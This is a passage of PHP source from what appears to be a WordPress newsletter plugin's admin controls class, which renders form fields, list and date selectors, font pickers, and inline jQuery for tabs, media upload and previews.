     * @param string $url
     * @param string $label Not escaped.
     */
    function button_link($url, $label = '') {
        echo '<a href="', esc_attr($url), '" class="button-primary">', wp_kses_post($label), '</a>';
    }

    function echo_tag($tag, $attrs = []) {
        echo '<', sanitize_key($tag);
        foreach ($attrs as $k => $v) {
            echo ' ', sanitize_key($k), '="', esc_attr($v), '"';
        }
        echo '>';
    }

    function editor($name, $rows = 5, $cols = 75) {
        echo '<textarea class="visual" name="options[' . esc_attr($name) . ']" style="width: 100%" wrap="off" rows="' . esc_attr($rows) . '">';
        echo esc_html($this->get_value($name));
        echo '</textarea>';
    }

    function wp_editor($name, $settings = [], $attrs = []) {
        static $filter_added = false;

        if (!$filter_added) {
            $filter_added = true;
            add_filter('mce_buttons', function ($mce_buttons) {
                $mce_buttons[] = 'wp_add_media';
                //$mce_buttons[] = 'wp_code';
                return $mce_buttons;
            });
        }

        $settings = array_merge(['media_buttons' => false], $settings);

        $value = $this->get_value($name);
        if (empty($value) && isset($attrs['default'])) {
            $value = $attrs['default'];
        }

        $content_style = '';
        if (isset($attrs['body_background'])) {
            $content_style = 'body {background-color:' . wp_strip_all_tags($attrs['body_background']) . ';}';
        }
        add_filter('mce_buttons_2', [$this, '_wp_editor_options']);
        wp_editor($value, $name, array_merge(
                        [
                            'tinymce' => [
                                'content_css' => plugins_url('newsletter') . '/admin/css/wp-editor.css?ver=' . NEWSLETTER_VERSION,
                                'content_style' => $content_style,
                            ],
                            'textarea_name' => 'options[' . esc_attr($name) . ']',
                            'wpautop' => false,
                        ], $settings));
    }

    function _wp_editor_options($buttons) {
        static $applied = false;
        if ($applied) {
            return $buttons;
        }
        $applied = true;
        array_unshift($buttons, 'fontselect');
        array_unshift($buttons, 'fontsizeselect');
        return $buttons;
    }

    function wp_editor_multilanguage($name, $settings, $languages) {
        ?>

        <?php if ($languages) { ?>

            <div class = "tnp-tabs">
                <ul>
                    <li><a href = "#tabs-a">Default</a></li>
                    <?php foreach ($languages as $key => $value) {
                        ?>
                        <li><a href="#tabs-a-<?php echo esc_attr($key) ?>"><?php echo esc_html($value) ?></a></li>
                    <?php } ?>
                </ul>

                <div id="tabs-a">
                    <?php $this->wp_editor('confirmation_text'); ?>
                </div>
                <?php foreach ($languages as $key => $value) { ?>
                    <div id="tabs-a-<?php echo esc_attr($key) ?>">
                        <?php $this->wp_editor($key . '_confirmation_text', $settings); ?>
                    </div>
                <?php } ?>
            </div>
        <?php } else { ?>
            <?php $this->wp_editor('confirmation_text', $settings); ?>
        <?php } ?>

        <?php
    }

    function textarea($name, $attrs = '100%', $height = '50') {
        $value = $this->get_value($name);
        if (is_array($value)) {
            $value = implode("\n", $value);
        }

        if (!is_array($attrs)) {
            echo '<textarea id="options-' . esc_attr($name) . '" class="dynamic" name="options[' . esc_attr($name) . ']" wrap="off" style="width:' . esc_attr($attrs) . ';height:' . esc_attr($height) . '">';
            echo esc_html($value);
            echo '</textarea>';
        } else {
            $attrs = array_merge(['width' => '100%', 'height' => '200px', 'placeholder' => ''], $attrs);
            echo '<textarea id="options-' . esc_attr($name) . '" name="options[' . esc_attr($name) . ']" wrap="off" placeholder="'
            . esc_attr($attrs['placeholder']) . '" style="width:' . esc_attr($attrs['width']) . ';height:' . esc_attr($attrs['height']) . '">';
            echo esc_html($value);
            echo '</textarea>';
        }
    }

    function textarea_fixed($name, $width = '100%', $height = '200') {
        $value = $this->get_value($name);
        echo '<textarea id="options-', esc_attr($name), '" name="options[', esc_attr($name), ']" wrap="off" style="width:', esc_attr($width), ';height:', esc_attr($height), 'px">';
        echo esc_html($value);
        echo '</textarea>';
    }

    function textarea_preview($name, $width = '100%', $height = '200', $header = '', $footer = '', $switch_button = true) {
        $value = $this->get_value($name);
        if ($switch_button) {
            echo '<input class="button-primary" type="button" onclick="newsletter_textarea_preview(\'options-', esc_attr($name), '\', \'\', \'\')" value="Switch editor/preview">';
            echo '<br><br>';
        }
        echo '<div style="box-sizing: border-box; position: relative; margin: 0; padding: 0; width:' . esc_attr($width) . '; height:' . esc_attr($height) . '">';
        echo '<textarea id="options-', esc_attr($name), '" name="options[', esc_attr($name), ']" wrap="off" style="width:' . esc_attr($width) . ';height:' . esc_attr($height) . 'px">';
        echo esc_html($value);
        echo '</textarea>';
        echo '<div id="options-', esc_attr($name), '-preview" style="box-sizing: border-box; background-color: #eee; border: 1px solid #bbb; padding: 15px; width: auto; position: absolute; top: 20px; left: 20px; box-shadow: 0 0 20px #777; z-index: 10000; display: none">';
        echo '<iframe id="options-', esc_attr($name), '-iframe" class="tnp-editor-preview-desktop"></iframe>';
        echo '<iframe id="options-', esc_attr($name), '-iframe-phone" class="tnp-editor-preview-mobile"></iframe>';
        echo '</div>';
        echo '</div>';
    }

    function email($prefix, $editor = null, $disable_option = false, $settings = array()) {
        if ($disable_option) {
            $this->disabled($prefix . '_disabled');
            echo '&nbsp;';
        }

        $this->text($prefix . '_subject', 70, 'Subject');
        echo '<br><br>';

        if ($editor == 'wordpress') {
            $this->wp_editor($prefix . '_message', $settings);
        } elseif ($editor == 'textarea') {
            $this->textarea($prefix . '_message');
        } else {
            $this->editor($prefix . '_message');
        }
    }

    /**
     * Standard checkbox, when not checked no value is transmitted (checkbox2).
     *
     * @param string $name
     * @param string $label
     */
    function checkbox($name, $label = '', $attrs = []) {
        if ($label != '') {
            echo '<label>';
        }
        echo '<input type="checkbox" id="options-' . esc_attr($name) . '" name="options[' . esc_attr($name) . ']" value="1"';
        if (!empty($this->data[$name])) {
            echo ' checked';
        }
        if (!empty($attrs['onchange'])) {
            echo ' onchange="', esc_attr($attrs['onchange']), '"';
        }

        if (!empty($attrs['disabled'])) {
            echo ' disabled';
        }

        echo '>';
        if ($label != '') {
            echo '&nbsp;' . esc_html($label) . '</label>';
        }
    }

    /**
     * Checkbox with a hidden field to transmit 1 or 0 even when the checkbox is not checked.
     *
     * @param string $name
     * @param string $label
     */
    function checkbox2($name, $label = '', $attrs = []) {
        if ($label != '') {
            echo '<label>';
        }
        echo '<input type="checkbox" id="options-' . esc_attr($name) . '" onchange="document.getElementById(\'' . esc_attr($name) . '_hidden\').value=this.checked?\'1\':\'0\';';
        if (!empty($attrs['onchange'])) {
            echo esc_attr($attrs['onchange']);
        }
        echo '"';
        if (!empty($this->data[$name])) {
            echo ' checked';
        }
        if (!empty($attrs['title'])) {
            echo ' title="', esc_attr($attrs['title']), '"';
        }
        echo '>';
        if ($label != '') {
            echo '&nbsp;' . esc_html($label) . '</label>';
        }
        echo '<input type="hidden" id="' . esc_attr($name) . '_hidden" name="options[' . esc_attr($name) . ']" value="';

        echo empty($this->data[$name]) ? '0' : '1';
        echo '">';
    }

    function radio($name, $value, $label = '') {
        if ($label != '') {
            echo '<label>';
        }
        echo '<input type="radio" id="' . esc_attr($name) . '" name="options[' . esc_attr($name) . ']" value="' . esc_attr($value) . '"';
        $v = $this->get_value($name);
        if ($v == $value) {
            echo ' checked';
        }
        echo '>';
        if ($label != '') {
            echo '&nbsp;' . esc_html($label) . '</label>';
        }
    }

    /**
     * Creates a checkbox named $name and checked if the internal data contains under
     * the key $name an array containig the passed value.
     */
    function checkbox_group($name, $value, $label = '', $attrs = []) {
        $attrs = wp_parse_args($attrs, ['label_escape' => true]);
        echo '<label><input type="checkbox" id="' . esc_attr($name) . '" name="options[' . esc_attr($name) . '][]" value="' . esc_attr($value) . '"';
        // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
        if (isset($this->data[$name]) && is_array($this->data[$name]) && array_search($value, $this->data[$name]) !== false) {
            echo ' checked';
        }
        echo '>';
        if (!empty($label)) {
            echo wp_kses_post($label);
        }
        echo '</label>';
    }

    function checkboxes($name, $options) {
        echo '<input type="hidden" name="tnp_fields[' . esc_attr($name) . ']" value="array">';
        echo '<div class="tnpc-checkboxes">';
        foreach ($options as $value => $label) {
            $this->checkbox_group($name, $value, $label);
        }
        echo '<div style="clear: both"></div>';
        echo '</div>';
    }

    function color($name, $default = '') {
        $value = $this->get_value($name, $default);
        echo '<input class="tnpc-color" id="options-', esc_attr($name), '" name="options[', esc_attr($name), ']" type="text" value="', esc_attr($value), '">';
    }

    /** Creates a set of checkbox named $name_[category id] (so they are posted with distinct names).
     */
    function categories($name = 'category') {
        $categories = get_categories();
        echo '<div class="tnpc-checkboxes">';
        foreach ($categories as $c) {
            $this->checkbox($name . '_' . $c->cat_ID, esc_html($c->cat_name));
        }
        echo '<div style="clear: both"></div>';
    }

    /**
     * Creates a set of checkbox to activate the profile preferences. Every checkbox has a DIV around to
     * be formatted.
     */
    function categories_group($name, $show_mode = false) {
        $categories = get_categories();
        if ($show_mode) {
            $this->select($name . '_mode', array('include' => 'To be included', 'exclude' => 'To be excluded'));
        }
        echo '<div class="tnpc-checkboxes">';
        foreach ($categories as &$c) {
            $this->checkbox_group($name, $c->cat_ID, esc_html($c->cat_name));
        }
        echo '<div style="clear: both"></div>';
        echo '</div>';
    }

    /**
     * Creates a set of checkboxes named $name_[preference number] (so they are
     * distinct fields).
     * Empty preferences are skipped.
     */
    function preferences($name = 'preferences') {
        $lists = NewsletterAdmin::instance()->get_lists();

        echo '<div class="tnpc-checkboxes">';
        foreach ($lists as $list) {
            $this->checkbox2($name . '_' . $list->id, esc_html($list->name));
        }
        echo '<div style="clear: both"></div>';
    }

    /** A list of all lists defined each one with a checkbox to select it. An array
     * of ID of all checked lists is submitted.
     *
     * @param string $name
     */
    function lists($name = 'lists') {
        echo '<input type="hidden" name="tnp_fields[' . esc_attr($name) . ']" value="array">';
        $this->preferences_group($name);
    }

    function lists_public($name = 'lists') {
        echo '<input type="hidden" name="tnp_fields[' . esc_attr($name) . ']" value="array">';
        $lists = NewsletterAdmin::instance()->get_lists_public();

        echo '<div class="tnpc-lists">';
        foreach ($lists as $list) {
            $this->checkbox_group($name, $list->id, '<span>' . $list->id . '</span> ' . esc_html($list->name));
        }
        echo '</div>';
    }

    function profiles_public($name = 'profiles') {
        echo '<input type="hidden" name="tnp_fields[' . esc_attr($name) . ']" value="array">';
        $fields = NewsletterAdmin::instance()->get_profiles_public();

        echo '<div class="tnpc-lists">';
        foreach ($fields as $field) {
            $this->checkbox_group($name, $field->id, '<span>' . $field->id . '</span> ' . esc_html($field->name));
        }

        echo '</div>';
    }

    function customfields_public($name = 'customfields') {
        echo '<input type="hidden" name="tnp_fields[' . esc_attr($name) . ']" value="array">';
        $fields = NewsletterAdmin::instance()->get_profiles_public();

        echo '<div class="tnpc-lists">';
        foreach ($fields as $field) {
            $this->checkbox_group($name, $field->id, '<span>' . $field->id . '</span> ' . esc_html($field->name));
        }

        echo '</div>';
    }

    function autoresponders($name = 'autoresponders') {
        if (!class_exists('NewsletterAutoresponder')) {
            echo 'The Autoresponder addon is required.';
            return;
        }

        $autoresponders = NewsletterAutoresponder::instance()->get_autoresponders();

        foreach ($autoresponders as $autoresponder) {
            $controls->checkbox_group($name, $autoresponder->id, $autoresponder->name);
            echo '<br>';
        }
    }

    function lists_checkboxes($name = 'lists') {
        $this->preferences_group($name);
    }

    /**
     * Creates a set of checkboxes all names $name[] and the preference number as value
     * so the selected checkboxes are retrieved as an array of values ($REQUEST[$name]
     * will be an array if at east one preference is checked).
     */
    function preferences_group($name = 'preferences') {

        $lists = NewsletterAdmin::instance()->get_lists();

        echo '<div class="tnpc-lists">';
        foreach ($lists as $list) {
            $this->checkbox_group($name, $list->id, '<span>' . $list->id . '</span> ' . esc_html($list->name));
        }
        echo '<a href="https://www.thenewsletterplugin.com/documentation/newsletter-lists" target="_blank">'
        . 'Click here to read more about lists.'
        . '</a>';
        echo '</div>';
    }

    /** Creates as many selects as the active preferences with the three values
     * 'any', 'yes', 'no' corresponding to the values 0, 1, 2.
     */
    function preferences_selects($name = 'preferences', $skip_empty = false) {
        // Someone is using this method improperly
        if (!class_exists('NewsletterAdmin')) {
            return '';
        }

        $lists = NewsletterAdmin::instance()->get_lists();

        echo '<div class="newsletter-preferences-group">';
        foreach ($lists as $list) {

            echo '<div class="newsletter-preferences-item">';

            $this->select($name . '_' . $list->id, array(0 => 'Any', 1 => 'Yes', 2 => 'No'));
            echo '(' . esc_html($list->id) . ') ' . esc_html($list->name);

            echo '</div>';
        }
        echo '<div style="clear: both"></div>';
        echo '<a href="https://www.thenewsletterplugin.com/plugins/newsletter/newsletter-preferences" target="_blank">Click here know more about preferences.</a> They can be configured on Subscription/Form field panel.';
        echo '</div>';
    }

    /**
     * Creates a single select with the active preferences.
     */
    function preferences_select($name = 'preference', $empty_label = null) {
        $lists = $this->get_list_options($empty_label);
        $this->select($name, $lists);
        echo ' <a href="admin.php?page=newsletter_subscription_lists" target="_blank"><i class="fas fa-edit"></i></a>';
    }

    function lists_select($name = 'list', $empty_label = null) {
        $lists = $this->get_list_options($empty_label);
        $this->select($name, $lists);
    }

    function lists_select_with_notes($name = 'list', $empty_label = null) {

        $value = $this->get_value($name);

        $lists = NewsletterAdmin::instance()->get_lists();
        $options = [];
        if ($empty_label) {
            $options[''] = $empty_label;
        }

        foreach ($lists as $list) {
            $options['' . $list->id] = '(' . $list->id . ') ' . $list->name;
        }

        $this->select($name, $options, null, ['onchange' => 'tnp_lists_toggle(this); return true;']);
        echo '<div id="options-', esc_attr($name), '-notes" class="tnpc_lists_notes">';
        foreach ($lists as $list) {
            $id = $list->id;
            $notes = apply_filters('newsletter_lists_notes', [], $id);

            echo '<div class="list_', esc_attr($id), '" style="display: ', ($value == $id ? 'block' : 'none'), '">';
            if ($list->forced) {
                echo 'Enforced on subscription<br>';
            }
            echo wp_kses_post(implode('<br>', $notes));
            echo '</div>';
        }
        echo '</div>';
    }

    function public_lists_select($name = 'list', $empty_label = null) {
        $lists = $this->get_public_list_options($empty_label);
        $this->select($name, $lists);
    }

    /**
     * Generates an associative array with the active lists to be used in a select.
     * @param string $empty_label
     * @return array
     */
    function get_list_options($empty_label = null) {
        $objs = NewsletterAdmin::instance()->get_lists();
        $lists = array();
        if ($empty_label) {
            $lists[''] = $empty_label;
        }
        foreach ($objs as $list) {
            $lists['' . $list->id] = '(' . $list->id . ') ' . esc_html($list->name);
        }
        return $lists;
    }

    function get_public_list_options($empty_label = null) {
        $objs = NewsletterAdmin::instance()->get_lists_public();
        $lists = array();
        if ($empty_label) {
            $lists[''] = $empty_label;
        }
        foreach ($objs as $list) {
            $lists['' . $list->id] = '(' . $list->id . ') ' . esc_html($list->name);
        }
        return $lists;
    }

    function date($name) {
        $this->hidden($name);
        // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
        $year = date('Y', $this->data[$name]);
        // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
        $day = date('j', $this->data[$name]);
        // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
        $month = date('m', $this->data[$name]);
        $onchange = "this.form.elements['options[" . esc_attr($name) . "]'].value = new Date(document.getElementById('" . esc_attr($name) . "_year').value, document.getElementById('" . esc_attr($name) . "_month').value, document.getElementById('" . esc_attr($name) . "_day').value, 12, 0, 0).getTime()/1000";
        echo '<select id="', esc_attr($name), '_month" onchange="', esc_attr($onchange), '">';
        for ($i = 0; $i < 12; $i++) {
            echo '<option value="', (int) $i, '"';
            if ($month - 1 == $i) {
                echo ' selected';
            }
            // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
            echo '>', esc_html(date('F', mktime(0, 0, 0, $i + 1, 1, 2000))), '</option>';
        }
        echo '</select>';

        echo '<select id="', esc_attr($name), '_day" onchange="', esc_attr($onchange), '">';
        for ($i = 1; $i <= 31; $i++) {
            echo '<option value="', (int) $i, '"';
            if ($day == $i) {
                echo ' selected';
            }
            echo '>', (int) $i, '</option>';
        }
        echo '</select>';

        echo '<select id="', esc_attr($name), '_year" onchange="', esc_attr($onchange), '">';
        // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
        for ($i = 2011; $i <= date('Y') + 3; $i++) {
            echo '<option value="', (int) $i, '"';
            if ($year == $i) {
                echo ' selected';
            }
            echo '>', (int) $i, '</option>';
        }
        echo '</select>';
    }

    /**
     * Creates a set of fields to collect a date and sends back the triplet year, month and day.
     *
     * @param string $name
     */
    function date2($name) {
        $year = $this->get_value($name . '_year');
        $day = $this->get_value($name . '_day');
        $month = $this->get_value($name . '_month');

        echo '<select name="options[', esc_attr($name), '_month]">';
        echo '<option value="">-</option>';
        for ($i = 1; $i <= 12; $i++) {
            echo '<option value="', (int) $i, '"';
            if ($month == $i) {
                echo ' selected';
            }
            echo '>', esc_html(date_i18n('F', mktime(0, 0, 0, $i, 1, 2000))), '</option>';
        }
        echo '</select>';

        echo '<select name="options[', esc_attr($name), '_day]">';
        echo '<option value="">-</option>';
        for ($i = 1; $i <= 31; $i++) {
            echo '<option value="', (int) $i, '"';
            if ($day == $i) {
                echo ' selected';
            }
            echo '>', (int) $i, '</option>';
        }
        echo '</select>';

        echo '<select name="options[', esc_attr($name), '_year]">';
        echo '<option value="">-</option>';
        // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
        for ($i = 2011; $i <= date('Y') + 3; $i++) {
            echo '<option value="', (int) $i, '"';
            if ($year == $i) {
                echo ' selected';
            }
            echo '>', (int) $i, '</option>';
        }
        echo '</select>';
    }

    /**
     * Date and time (hour) selector. Timestamp stored.
     */
    function datetime($name) {
        echo '<input type="hidden" name="tnp_fields[', esc_attr($name), ']" value="datetime">';
        $value = (int) $this->get_value($name);
        if (empty($value)) {
            $value = time();
        }

        $time = $value + get_option('gmt_offset') * 3600;
        $year = gmdate('Y', $time);
        $day = gmdate('j', $time);
        $month = gmdate('m', $time);
        $hour = gmdate('H', $time);

        echo '<select name="', esc_attr($name), '_month">';
        for ($i = 1; $i <= 12; $i++) {
            echo '<option value="', (int) $i, '"';
            if ($month == $i) {
                echo ' selected';
            }
            // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
            echo '>', esc_html(date('F', mktime(0, 0, 0, $i, 1, 2000))), '</option>';
        }
        echo '</select>';

        echo '<select name="', esc_attr($name), '_day">';
        for ($i = 1; $i <= 31; $i++) {
            echo '<option value="', (int) $i, '"';
            if ($day == $i) {
                echo ' selected';
            }
            echo '>', (int) $i, '</option>';
        }
        echo '</select>';

        // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
        $last_year = date('Y') + 2;
        echo '<select name="', esc_attr($name), '_year">';
        for ($i = 2011; $i <= $last_year; $i++) {
            echo '<option value="', (int) $i, '"';
            if ($year == $i) {
                echo ' selected';
            }
            echo '>', (int) $i, '</option>';
        }
        echo '</select>';

        echo '<select name="', esc_attr($name), '_hour">';
        for ($i = 0; $i <= 23; $i++) {
            echo '<option value="', (int) $i, '"';
            if ($hour == $i) {
                echo ' selected';
            }
            echo '>', (int) $i, ':00</option>';
        }
        echo '</select>';
    }

    function hours($name) {
        $hours = [];
        for ($i = 0; $i < 24; $i++) {
            $hours['' . $i] = sprintf('%02d', $i) . ':00';
        }
        $this->select($name, $hours);
    }

    function days($name) {
        $days = array(0 => 'Every day', 1 => 'Monday', 2 => 'Tuesday', 3 => 'Wednesday', 4 => 'Thursday', 5 => 'Friday', 6 => 'Saturday', 7 => 'Sunday');
        $this->select($name, $days);
    }

    function init($options = []) {

        if (isset($options['cookie_name'])) {
            $cookie_name = $options['cookie_name'];
            // phpcs:ignore WordPress.Security.NonceVerification.Recommended
        } elseif (isset($_GET['page'])) {
            // phpcs:ignore WordPress.Security.NonceVerification.Recommended
            $cookie_name = $_GET['page'];
        } else {
            $cookie_name = 'newsletter_tab';
        }

        echo '<script type="text/javascript">
    jQuery(document).ready(function(){

tnp_controls_init();

        jQuery("textarea.dynamic").focus(function() {
            jQuery("textarea.dynamic").css("height", "50px");
            jQuery(this).css("height", "400px");
        });
      tabs = jQuery("#tabs").tabs({
        active : jQuery.cookie("', sanitize_key($cookie_name), '"),
        activate : function( event, ui ){
            jQuery.cookie("', sanitize_key($cookie_name), '", ui.newTab.index(),{expires: 1});
        }
      });
      jQuery(".tnp-tabs").tabs({});
      jQuery(".tnp-accordion").accordion({collapsible: true, heightStyle: "content"});

    });
    function newsletter_media(name) {
        var tnp_uploader = wp.media({
            title: "Select an image",
            button: {
                text: "Select"
            },
            multiple: false
        }).on("select", function() {
            var media = tnp_uploader.state().get("selection").first();
            document.getElementById(name + "_id").value = media.id;
            jQuery("#" + name + "_id").trigger("change");
            console.log(media.attributes);
            if (media.attributes.url.substring(0, 0) == "/") {
                media.attributes.url = "', site_url('/'), '" + media.attributes.url;
            }
            document.getElementById(name + "_url").value = media.attributes.url;

            var img_url = media.attributes.url;
            if (typeof media.attributes.sizes.medium !== "undefined") img_url = media.attributes.sizes.medium.url;
            if (img_url.substring(0, 0) == "/") {
                img_url = "', site_url('/'), '" + img_url;
            }
            document.getElementById(name + "_img").src = img_url;
            var alt = document.getElementById("options-" + name + "_alt");
            if (alt) {
                alt.value = media.attributes.alt;
            }
        }).open();
    }
    function newsletter_media_remove(name) {
        if (confirm("Are you sure?")) {
            document.getElementById(name + "_id").value = "";
            document.getElementById(name + "_url").value = "";
            document.getElementById(name + "_img").src = "', plugins_url('newsletter'), '/images/nomedia.png";
            var alt = document.getElementById("options-" + name + "_alt");
            if (alt) {
                alt.value = "";
            }
        }
    }
    function newsletter_textarea_preview(id, header, footer) {
        var d = document.getElementById(id + "-iframe").contentWindow.document;
        d.open();
        if (templateEditor) {
            d.write(templateEditor.getValue());
        } else {
            d.write(header + document.getElementById(id).value + footer);
        }
        d.close();

        var d = document.getElementById(id + "-iframe-phone").contentWindow.document;
        d.open();
        if (templateEditor) {
            d.write(templateEditor.getValue());
        } else {
            d.write(header + document.getElementById(id).value + footer);
        }
        d.close();
        //jQuery("#" + id + "-iframe-phone").toggle();
        jQuery("#" + id + "-preview").toggle();
    }
    function tnp_select_images(state) {
        if (!state.id) { return state.text; }
        var $state = jQuery("<span class=\"tnp-select2-option\"><img style=\"height: 20px!important; position: relative; top: 5px\" src=\"" + state.element.getAttribute("image") + "\"> " + state.text + "</span>");
        return $state;
    }
    function tnp_select_images_selection(state) {
        if (!state.id) { return state.text; }
        var $state = jQuery("<span class=\"tnp-select2-option\"><img style=\"height: 20px!important; position: relative; top: 5px\" src=\"" + state.element.getAttribute("image") + "\"> " + state.text + "</span>");
        return $state;
    }


</script>
';
        echo '<input name="act" type="hidden" value=""/>';
        echo '<input name="btn" type="hidden" value=""/>';
        wp_nonce_field('save');
    }

    function log_level($name = 'log_level') {
        $this->select($name, [0 => 'None', 2 => 'Error', 3 => 'Normal', 4 => 'Debug']);
    }

    function update_option($name, $data = null) {
        if ($data == null) {
            $data = $this->data;
        }
        update_option($name, $data);
        if (isset($data['log_level'])) {
            update_option($name . '_log_level', $data['log_level']);
        }
    }

    function js_redirect($url) {
        echo '<script>';
        echo 'location.href="', $url, '"'; // Do not use esc_js() it doesn't work with "&" here
        echo '</script>';
        die();
    }

    /**
     * @deprecated
     */
    function get_test_subscribers() {
        return NewsletterAdmin::instance()->get_test_users();
    }

    /**
     * Attributes:
     * weight: [true|false]
     * color: [true|false]
     *
     * @param string $name
     * @param array $attrs
     */
    function css_font($name = 'font', $attrs = array()) {
        $default = [
            'color' => true,
            'weight' => true,
            'hide_size' => false,
            'hide_weight' => false,
            'hide_color' => false,
        ];
        $attrs = array_merge($default, $attrs);
        $this->css_font_family($name . '_family', !empty($attrs['family_default']));
        if (!$attrs['hide_size']) {
            $this->css_font_size($name . '_size', !empty($attrs['size_default']));
        }
        if ($attrs['weight'] && !$attrs['hide_weight']) {
            $this->css_font_weight($name . '_weight', !empty($attrs['weight_default']));
        }
        if ($attrs['color'] && !$attrs['hide_color']) {
            $this->color($name . '_color');
        }
    }

    function css_font_size($name = 'font_size', $show_empty_option = false) {
        $value = $this->get_value($name);

        echo '<select class="tnpf-font-size" id="options-', esc_attr($name), '" name="options[', esc_attr($name), ']">';
        if ($show_empty_option) {
            echo "<option value=''>-</option>";
        }
        for ($i = 8; $i <= 100; $i++) {
            echo '<option value="', (int) $i, '"';
            if ($value == $i) {
                echo ' selected';
            }
            echo '>', (int) $i, '</option>';
        }
        echo '</select>';
    }

    function css_font_weight($name = 'font_weight', $show_empty_option = false) {
        $value = $this->get_value($name);

        $fonts = array('normal' => 'Normal', 'bold' => 'Bold');

        echo '<select class="tnpf-font-weight" id="options-' . esc_attr($name) . '" name="options[' . esc_attr($name) . ']">';
        if ($show_empty_option) {
            echo "<option value=''>-</option>";
        }
        foreach ($fonts as $key => $font) {
            echo '<option value="', esc_attr($key), '"';
            if ($value == $key) {
                echo ' selected';
            }
            echo '>', esc_html($font), '</option>';
        }
        echo '</select>';
    }

    function css_font_family($name = 'font_family', $show_empty_option = false) {
        $value = $this->get_value($name);

        $fonts = [];
        if ($show_empty_option) {
            $fonts[''] = 'Default';
        }

        $fonts = [
            'Helvetica, Arial, sans-serif' => 'Helvetica, Arial',
            'Arial Black, Gadget, sans-serif' => 'Arial Black, Gadget',
            'Garamond, serif' => 'Garamond',
            'Courier, monospace' => 'Courier',
            'Comic Sans MS, cursive' => 'Comic Sans MS',
            'Impact, Charcoal, sans-serif' => 'Impact, Charcoal',
            'Tahoma, Geneva, sans-serif' => 'Tahoma, Geneva',
            'Times New Roman, Times, serif' => 'Times New Roman',
            'Verdana, Geneva, sans-serif' => 'Verdana, Geneva',
            'Lucida Sans Unicode, sans-serif' => 'Lucida Sans Unicode'];

        $unsafe_fonts = [
            'Palatino Linotype, serif' => 'Palatino Linotype',
            'Calibri, sans-serif' => 'Calibri',
            'Arial Narrow, sans-serif' => 'Arial Narrow',
            'Book Antiqua, serif' => 'Book Antiqua',
            'Century Gothic, sans-serif' => 'Century Gothic',

        ];

        echo '<select class="tnpf-font-family" id="options-', esc_attr($name), '" name="options[', esc_attr($name), ']">';

        if ($show_empty_option) {
            echo '<option value="">', esc_html('Default', 'newsletter');
        }

        echo '<optgroup label="', esc_attr__('Email safe fonts', 'newsletter'), '">';
        foreach ($fonts as $font => $label) {

            echo '<option value="', esc_attr($font), '" style="font-family: ', esc_attr($font), '"';
            if ($value == $font) {
                echo ' selected';
            }
            echo '>', esc_html($label), '</option>';

        }
        echo '</optgroup>';

        echo '<optgroup label="', esc_attr__('Less email safe fonts', 'newsletter'), '">';
        foreach ($unsafe_fonts as $font => $label) {

            echo '<option value="', esc_attr($font), '" style="font-family: ', esc_attr($font), '"';
            if ($value == $font) {
                echo ' selected';
            }
            echo '>', esc_html($label), '</option>';

        }
        echo '</optgroup>';


        echo '</select>';
    }

    function css_text_align($name) {
        $options = array('left' => __('Left', 'newsletter'), 'right' => __('Right', 'newsletter'),
            'center' => __('Center', 'newsletter'));
        $this->select($name, $options);
    }

    function css_border($name) {
        $value = $this->get_value($name . '_width');

        echo 'width&nbsp;<select id="options-' . esc_attr($name) . '-width" name="options[' . esc_attr($name) . '_width]">';
        for ($i = 0; $i < 10; $i++) {
            echo '<option value="', (int) $i, '"';
            if ($value == $i) {
                echo ' selected';
            }
            echo '>', (int) $i, '</option>';
        }
        echo '</select>&nbsp;px&nbsp;&nbsp;';

        $this->select($name . '_type', array('solid' => 'Solid', 'dashed' => 'Dashed'));

        $this->color($name . '_color');

        $value = $this->get_value($name . '_radius');

        echo '&nbsp;&nbsp;radius&nbsp;<select id="options-' . esc_attr($name) . '-radius" name="options[' . esc_attr($name) . '_radius]">';
        for ($i = 0; $i < 10; $i++) {
            echo '<option value="', (int) $i, '"';
            if ($value == $i) {
                echo ' selected';
            }
            echo '>', (int) $i, '</option>';
        }
        echo '</select>&nbsp;px';
    }

    /**
     * Media selector using the media library of WP. Produces a field which values is an array containing 'id' and 'url'.
     *
     * @param string $name
     */
    function media($name) {
        if (isset($this->data[$name]['id'])) {
            $media_id = (int) $this->data[$name]['id'];
            $media = wp_get_attachment_image_src($media_id, 'medium');
            $media_full = wp_get_attachment_image_src($media_id, 'full');
        } else {
            $media = false;
        }
        echo '<div class="tnpc-media">';
        echo '<a class="tnpc-media-remove" href="#" onclick="newsletter_media_remove(\'' . esc_attr($name) . '\'); return false;">&times;</a>';
        echo '<div class="tnpc-media-img">';
        if ($media === false) {
            $media = array('', '', '');
            $media_full = array('', '', '');
            $media_id = 0;
            echo '<img style="max-width: 200px; max-height: 150px; width: 100px;" id="' . esc_attr($name) . '_img" src="' . esc_attr(plugins_url('newsletter')) . '/images/nomedia.png" onclick="newsletter_media(\'' . esc_attr($name) . '\')">';
        } else {
            echo '<img style="max-width: 200px; max-height: 150px;" id="' . esc_attr($name) . '_img" src="' . esc_attr($media[0]) . '" onclick="newsletter_media(\'' . esc_attr($name) . '\')">';
        }
        echo '</div>';

        echo '</div>';
        echo '<input type="hidden" id="' . esc_attr($name) . '_id" name="options[' . esc_attr($name) . '][id]" value="' . esc_attr($media_id) . '" size="5">';
        echo '<input type="hidden" id="' . esc_attr($name) . '_url" name="options[' . esc_attr($name) . '][url]" value="' . esc_attr($media_full[0]) . '" size="50">';
    }

    function media_input($option, $name, $label) {

        if (!empty($label)) {
            echo '<label class="select" for="tnp_' . esc_attr($name) . '">' . esc_html($label) . ':</label>';
        }
        echo '<input id="tnp_' . esc_attr($name) . '" type="text" size="36" name="' . esc_attr($option) . '[' . esc_attr($name) . ']" value="' . esc_attr($val) . '" />';
        echo '<input id="tnp_' . esc_attr($name) . '_button" class="button-primary" type="button" value="Select Image" />';
        echo '<br class="clear"/>';
    }

    function language($name = 'language', $empty_label = 'All') {
        if (!$this->is_multilanguage()) {
            echo esc_html__('Install a multilanguage plugin.', 'newsletter');
            echo ' <a href="https://www.thenewsletterplugin.com/documentation/multilanguage" target="_blank">', esc_html__('Read more', 'newsletter'), '</a>';
            return;
        }

        $languages = NewsletterAdmin::instance()->get_languages();
        if (!empty($empty_label)) {
